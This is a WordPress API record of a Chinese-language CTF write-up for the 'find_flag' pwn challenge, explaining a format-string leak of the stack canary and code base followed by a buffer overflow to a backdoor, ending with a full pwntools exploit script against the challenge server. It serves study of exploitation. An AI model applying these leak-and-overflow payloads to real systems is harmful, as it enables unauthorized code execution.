{"id":119,"date":"2025-09-14T15:50:25","date_gmt":"2025-09-14T07:50:25","guid":{"rendered":"http:\/\/www.xuanbin.top\/?p=119"},"modified":"2025-09-14T16:11:07","modified_gmt":"2025-09-14T08:11:07","slug":"__trashed","status":"publish","type":"post","link":"http:\/\/www.xuanbin.top\/index.php\/2025\/09\/14\/__trashed\/","title":{"rendered":"nssctf-\u6df1\u80b2\u676f 2021-find_flag"},"content":{"rendered":"\n<p>\u505a\u5230\u4e00\u9053\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u7684\u9898\uff0c\u8bb0\u5f55\u4e00\u4e0b\u505a\u6cd5\u548c\u601d\u8def\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"380\" height=\"243\" src=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/09\/1757836298-QQ_1757836294954.png\" alt=\"\" class=\"wp-image-122\" srcset=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/09\/1757836298-QQ_1757836294954.png 380w, http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/09\/1757836298-QQ_1757836294954-300x192.png 300w\" sizes=\"auto, (max-width: 380px) 100vw, 380px\" \/><\/figure>\n\n\n\n<p>\u6709\u540e\u95e8\uff0c\u4f46\u662f\u5f00\u4e86canary\uff0c\u76f4\u63a5\u6253\u5370format\u53ef\u4ee5\u901a\u8fc7\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6253\u5370\u6808\u4e0a\u7684canary\u3002\u540c\u65f6\u5f00\u4e86ASLR\uff0c\u8fd8\u9700\u8981\u6cc4\u9732\u6808\u4e0a\u67d0\u5904\u8bed\u53e5\u7684\u5730\u5740\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"396\" height=\"184\" src=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/09\/1757836524-QQ_1757836520393.png\" alt=\"\" class=\"wp-image-123\" srcset=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/09\/1757836524-QQ_1757836520393.png 396w, http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/09\/1757836524-QQ_1757836520393-300x139.png 300w\" sizes=\"auto, (max-width: 396px) 100vw, 396px\" \/><\/figure>\n\n\n\n<p>\u56e0\u4e3a\u8fd9\u4e2a\u51fd\u6570\u662f\u88ab\u8c03\u7528\u7684\uff0c\u6240\u4ee5\u51fd\u6570\u7684\u4e0b\u4e00\u6761\u8bed\u53e5\u4f5c\u4e3a\u4e86\u51fd\u6570\u8fd4\u56de\u5730\u5740\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"356\" height=\"187\" src=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/09\/1757836662-QQ_1757836659536.png\" alt=\"\" class=\"wp-image-125\" srcset=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/09\/1757836662-QQ_1757836659536.png 356w, http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/09\/1757836662-QQ_1757836659536-300x158.png 300w\" sizes=\"auto, (max-width: 356px) 100vw, 356px\" \/><\/figure>\n\n\n\n<p>\u901a\u8fc7\u7d22\u5f15\u770b\u51facanary\u5728rbp-8\u7684\u4f4d\u7f6e\uff0c\u6839\u636e\u51fd\u6570\u8c03\u7528\u673a\u5236\u786e\u5b9a\u6cc4\u9732\u5730\u5740\u5728rbp+8\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"879\" height=\"178\" src=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/09\/1757836744-QQ_1757836740330.png\" alt=\"\" class=\"wp-image-127\" srcset=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/09\/1757836744-QQ_1757836740330.png 879w, http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/09\/1757836744-QQ_1757836740330-300x61.png 300w, http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/09\/1757836744-QQ_1757836740330-768x156.png 768w\" sizes=\"auto, (max-width: 879px) 100vw, 879px\" \/><\/figure>\n\n\n\n<p>gdb\u8c03\u8bd5\u786e\u5b9a0x7fffffffddc8\u548c0x7fffffffddd8\u662f\u8981\u6cc4\u9732\u7684\u4e24\u4e2a\u5730\u5740\uff0c\u7528fmtarg\u83b7\u53d6\u4e24\u5904\u5730\u5740\u7684\u504f\u79fb<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"437\" height=\"66\" src=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/09\/1757837066-QQ_1757837062957.png\" alt=\"\" class=\"wp-image-128\" srcset=\"http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/09\/1757837066-QQ_1757837062957.png 437w, http:\/\/www.xuanbin.top\/wp-content\/uploads\/2025\/09\/1757837066-QQ_1757837062957-300x45.png 300w\" sizes=\"auto, (max-width: 437px) 100vw, 437px\" \/><\/figure>\n\n\n\n<p>\u5728\u7b2c\u4e00\u6b21gets\u6cc4\u9732canary\u548cmov eax,0\u7684\u5730\u5740\uff0c\u8ba1\u7b97\u5f97\u5230\u57fa\u5740\uff0c\u5728\u7b2c\u4e8c\u6b21gets\u65f6\u8986\u76d6canary\u8fd4\u56de\u5230\u540e\u95e8<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\ncontext(arch='amd64', os='linux',log_level='debug')\n\np = remote('node4.anna.nssctf.cn',28763)\n# ELFpath = '.\/find_flag'\n# p = process(ELFpath)\n# gdb.attach(p)\n\np.recvuntil(b'Hi! What\\'s your name?')\n\npayload='%17$p %19$p'\np.sendline(payload)\n\np.recvuntil('Nice to meet you, ')\ncanary=int(p.recv(18),16)\naddr=int(p.recvuntil('!\\n')&#91;1:15].decode(),16)\nbase=addr-0x146F\nbackdoor=base+0x1231\n\np.recvuntil('Anything else? ')\npayload=b'a'*56+p64(canary)+b'a'*8+p64(backdoor)\np.sendline(payload)\n\np.interactive()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u505a\u5230\u4e00\u9053\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u7684\u9898\uff0c\u8bb0\u5f55\u4e00\u4e0b\u505a\u6cd5\u548c\u601d\u8def\u3002 \u6709\u540e\u95e8\uff0c\u4f46\u662f\u5f00\u4e86canary\uff0c\u76f4\u63a5\u6253\u5370format\u53ef\u4ee5\u901a\u8fc7\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6253\u5370\u6808\u4e0a\u7684c &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[1],"tags":[],"class_list":["post-119","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/posts\/119","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/comments?post=119"}],"version-history":[{"count":4,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/posts\/119\/revisions"}],"predecessor-version":[{"id":129,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/posts\/119\/revisions\/129"}],"wp:attachment":[{"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/media?parent=119"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/categories?post=119"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.xuanbin.top\/index.php\/wp-json\/wp\/v2\/tags?post=119"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}